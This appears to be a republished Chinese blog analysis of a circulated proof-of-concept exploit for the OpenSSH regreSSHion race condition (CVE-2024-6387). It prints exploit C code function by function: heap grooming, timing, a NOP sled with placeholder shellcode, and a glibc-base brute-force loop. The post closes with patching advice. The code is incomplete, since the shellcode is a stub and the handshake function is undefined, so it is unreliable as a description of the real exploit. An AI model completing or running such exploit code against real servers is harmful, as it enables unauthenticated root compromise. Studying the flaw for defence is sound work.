0


漏洞分析|OpenSSH漏洞(CVE-2024-6387)

一、网传漏洞POC信息

漏洞编号:CVE-2024-6387

漏洞名称:OpenSSH regreSSHion 漏洞

POC上传者(作者不确定):7etsuo

发布日期:2024-07-01

漏洞类型:远程代码执行(RCE)

影响范围:8.5p1 <= OpenSSH < 9.8p1,OpenBSD系统不受该漏洞影响

二、漏洞描述

CVE-2024-6387 是OpenSSH中的一个漏洞,它利用了OpenSSH服务器(sshd)在glibc库中的一个信号处理程序中的竞态条件漏洞。具体来说,当SIGALRM信号处理程序调用了异步信号不安全的函数时,导致了远程代码执行(RCE)的可能性。攻击者可以利用此漏洞在目标系统上以root权限执行任意代码。

成功利用该漏洞的攻击者可以以 root 身份进行未经身份验证的远程代码执行 (RCE),在某些特定版本的 32 位操作系统上,攻击者最短需 6-8 小时即可获得最高权限的 root shell。而在 64 位机器上,目前没有在可接受时间内的利用方案,但未来的改进可能使其成为现实。

三、漏洞原理

该漏洞的根源在于OpenSSH服务器的SIGALRM信号处理程序中的异步信号不安全函数调用。攻击者通过精确的时间控制和多次尝试,触发了竞态条件,从而在系统中执行了恶意代码。具体来说,攻击者利用了信号处理程序在处理信号时的脆弱性,通过精确调整休眠时间和发送特制的payload,最终绕过了安全保护机制,实现了远程代码执行。这种竞态条件利用需要多次尝试和精确的时间控制,以确保在正确的时间窗口内触发漏洞。

网传备注:尽管通过Qualys测试这个漏洞利用的效果看起来非常麻烦:在本地虚拟机环境“平均需要尝试约10,000次才能成功,约需3-4小时,而由于ASLR,每次实验成功率只有一半,因此平均需要6-8小时才能获得远程root shell”。

四、利用代码分析

1. 文件头部注释

/** 7etsuo-regreSSHion.c * ------------------------------------------------------------------------- * SSH-2.0-OpenSSH_9.2p1 Exploit * ------------------------------------------------------------------------- * * Exploit Title  : SSH Exploit for CVE-2024-6387 (regreSSHion) * Author         : 7etsuo * Date           : 2024-07-01 * * Description: * Targets a signal handler race condition in OpenSSH's * server (sshd) on glibc-based Linux systems. It exploits a vulnerability * where the SIGALRM handler calls async-signal-unsafe functions, leading * to rce as root. * * Notes: * 1. Shellcode        : Replace placeholder with actual payload. * 2. GLIBC_BASES      : Needs adjustment for specific target systems. * 3. Timing parameters: Fine-tune based on target system responsiveness. * 4. Heap layout      : Requires tweaking for different OpenSSH versions. * 5. File structure offsets: Verify for the specific glibc version. * ------------------------------------------------------------------------- */

文件头部详细描述了漏洞的基本信息,包括漏洞编号、漏洞名称、作者、发布日期、漏洞类型和影响范围。同时,还对漏洞的原理和利用方法进行了简要说明。

2. 包含的头文件

#include <stdlib.h>#include <unistd.h>#include <time.h>#include <string.h>#include <errno.h>#include <fcntl.h>#include <stdint.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>

这些头文件包含了标准库函数和网络编程所需的函数和类型,如 socket、connect、send 等。

3. 定义宏和全局变量

#define MAX_PACKET_SIZE (256 * 1024)#define LOGIN_GRACE_TIME 120#define MAX_STARTUPS 100#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)unsigned char shellcode[] = "\\x90\\x90\\x90\\x90";
MAX_PACKET_SIZE:定义最大数据包大小为256KB。LOGIN_GRACE_TIME:定义登录宽限时间为120秒。MAX_STARTUPS:定义最大启动数为100。CHUNK_ALIGN:定义一个宏用于内存对齐。GLIBC_BASES:定义可能的glibc基地址,用于绕过ASLR(地址空间布局随机化)。shellcode:定义一个占位符shellcode,需要替换为实际的payload。

4. 函数声明

int setup_connection (const char *ip, int port);void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len);void prepare_heap (int sock);void time_final_packet (int sock, double *parsing_time);int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base);

这些是函数的前向声明,用于后续的函数定义。它们分别用于设置连接、发送数据包、准备堆、测量数据包解析时间和尝试利用竞态条件。

5. 函数实现

5.1 设置连接

int setup_connection (const char *ip, int port){  int sock;  struct sockaddr_in server_addr;

  sock = socket (AF_INET, SOCK_STREAM, 0);  if (sock < 0)    {      perror ("socket");      return -1;    }

  server_addr.sin_family = AF_INET;  server_addr.sin_port = htons (port);  server_addr.sin_addr.s_addr = inet_addr (ip);

  if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0)    {      perror ("connect");      close (sock);      return -1;    }

  return sock;}

这个函数用于创建一个TCP连接到目标IP和端口。具体步骤如下:

创建一个TCP socket。

设置服务器地址,包括IP和端口。

尝试连接到服务器,如果失败则返回错误。

5.2 发送数据包

void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len){  unsigned char buffer[MAX_PACKET_SIZE];  memset (buffer, 0, sizeof (buffer));  buffer[0] = packet_type;  memcpy (buffer + 1, data, len);  send (sock, buffer, len + 1, 0);}

这个函数用于通过socket发送一个数据包。具体步骤如下:

定义一个缓冲区,并清零。

将数据包类型放入缓冲区的第一个字节。

将数据复制到缓冲区中。

通过socket发送缓冲区的数据。

5.3 准备堆

void prepare_heap (int sock){  unsigned char buf[MAX_PACKET_SIZE];  memset(buf, 0x41, sizeof(buf)); // 填充缓冲区,模拟堆布局  send_packet(sock, 0, buf, sizeof(buf)); // 发送填充数据包}

这个函数的作用是通过发送大量填充数据包来准备堆布局。代码中的实现通过将缓冲区填充为特定字符(0x41)并发送数据包来达到这个目的。这有助于在目标系统上触发特定的内存布局,以便后续的竞态条件利用能够成功。

5.4 测量数据包解析时间

void time_final_packet (int sock, double *parsing_time){  struct timespec start, end;  unsigned char buf[256];  memset(buf, 0, sizeof(buf));

  clock_gettime(CLOCK_MONOTONIC, &start); // 记录开始时间  send_packet(sock, 1, buf, sizeof(buf)); // 发送一个小数据包  recv(sock, buf, sizeof(buf), 0); // 接收服务器的响应  clock_gettime(CLOCK_MONOTONIC, &end); // 记录结束时间

  *parsing_time = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1000000000.0; // 计算解析时间}

这个函数用于测量最后一个数据包的解析时间。通过记录发送和接收数据包的时间差,确定数据包的解析时间。这对于竞态条件利用非常关键,因为攻击者需要精确控制时间来触发漏洞。

5.5 尝试利用竞态条件详细分析

这个函数 attempt_race_condition 试图利用竞态条件来触发漏洞,实现远程代码执行。下面是对该函数的详细分析:

int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base){  struct timespec req, rem;  unsigned char payload[256];

  // 创建包含shellcode的payload  memset(payload, 0x90, sizeof(payload)); // 填充NOP指令  memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcode

  req.tv_sec = (time_t)parsing_time;  req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;

  nanosleep(&req, &rem); // 休眠以精确控制时间

  send_packet(sock, 2, payload, sizeof(payload)); // 发送包含shellcode的payload

  // 验证是否成功  if (recv(sock, payload, sizeof(payload), 0) > 0)    {      if (strstr((char *)payload, "root") != NULL)        return 1; // 成功    }

  return 0; // 失败}

详细解释

定义和初始化变量

struct timespec req, rem;unsigned char payload[256];
req 和 rem 是 timespec 结构体,用于指定和保存休眠时间。payload 是一个 256 字节的缓冲区,用于存放恶意负载数据。

创建包含shellcode的payload

memset(payload, 0x90, sizeof(payload)); // 填充NOP指令memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcodememset(payload, 0x90, sizeof(payload));:使用 0x90 (NOP 指令) 填充整个缓冲区。NOP 指令不会执行任何操作,只是继续执行下一条指令。这种填充方式称为 NOP sled,用于确保在代码执行过程中滑向实际的 shellcode。memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode));:将实际的 shellcode 插入到缓冲区的末尾。

计算并设置休眠时间

req.tv_sec = (time_t)parsing_time;req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;req.tv_sec:将 parsing_time 转换为秒部分。req.tv_nsec:将 parsing_time 的小数部分转换为纳秒。

休眠以精确控制时间

nanosleep(&req, &rem); // 休眠以精确控制时间nanosleep(&req, &rem);:使用纳秒级的精确度休眠指定的时间。这对于利用竞态条件非常关键,因为攻击者需要在正确的时间窗口内执行恶意代码。

发送包含shellcode的payload

send_packet(sock, 2, payload, sizeof(payload)); // 发送包含shellcode的payloadsend_packet(sock, 2, payload, sizeof(payload));:通过 socket 发送包含 shellcode 的数据包。

验证是否成功

if (recv(sock, payload, sizeof(payload), 0) > 0)  {    if (strstr((char *)payload, "root") != NULL)      return 1; // 成功  }

return 0; // 失败recv(sock, payload, sizeof(payload), 0) > 0:尝试从目标系统接收响应数据。如果接收到的数据长度大于 0,表示目标系统有响应。if (strstr((char *)payload, "root") != NULL):检查接收到的数据是否包含 "root" 字符串。如果包含,表示成功获得目标系统的 root 权限,返回 1。

如果没有接收到包含 “root” 字符串的响应,则返回 0,表示尝试失败。

6. 漏洞利用主函数

int perform_exploit (const char *ip, int port){  int success = 0;  double parsing_time = 0;  double timing_adjustment = 0;

  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)    {      uint64_t glibc_base = GLIBC_BASES[base_idx];      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

      for (int attempt = 0; attempt < 10000 && !success; attempt++)        {          if (attempt % 1000 == 0)            {              printf ("Attempt %d of 10000\n", attempt);            }

          int sock = setup_connection (ip, port);          if (sock < 0)            {              fprintf (stderr, "Failed to establish connection, attempt %d\n", attempt);              continue;            }

          if (perform_ssh_handshake (sock) < 0)            {              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);              close (sock);              continue;            }

          prepare_heap (sock);          time_final_packet (sock, &parsing_time);

          parsing_time += timing_adjustment;

          if (attempt_race_condition (sock, parsing_time, glibc_base))            {              printf ("Possible exploitation success on attempt %d with glibc base 0x%lx!\n",                      attempt, glibc_base);              success = 1;            }          else            {              timing_adjustment += 0.00001;            }

          close (sock);          usleep (100000); // 100ms delay between attempts        }    }

  return success;}

这个主函数是整个漏洞利用的核心部分。它执行以下步骤:

初始化变量 success、parsing_time 和 timing_adjustment。

循环遍历可能的glibc基地址。

对每个基地址进行多次尝试,每次尝试时:

设置与目标的连接。

执行SSH握手。

准备堆布局。

测量最后一个数据包的解析时间。

尝试利用竞态条件。

如果成功,打印成功信息并退出循环;否则,调整定时参数并继续尝试。

通过这种方法,攻击者能够逐步调整定时参数和尝试不同的glibc基地址,以期成功利用漏洞并获得目标系统的控制权。

五、漏洞修复建议

更新软件:及时更新OpenSSH到最新版本,包含所有安全补丁。

监控日志:定期检查系统日志,发现异常登录或访问行为。

最小权限:确保系统上的服务运行在最小权限用户下,降低潜在风险。

六、参考文档

https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server

https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt

https://mp.weixin.qq.com/s/yptQH9xo5d8Acjw29B_kmg

标签: 安全 网络 ssh

本文转载自: https://blog.csdn.net/xuandaoren/article/details/140119853
版权归原作者 AttackSatelliteLab 所有, 如有侵权,请联系我们删除。

“漏洞分析|OpenSSH漏洞(CVE-2024-6387)”的评论:

还没有评论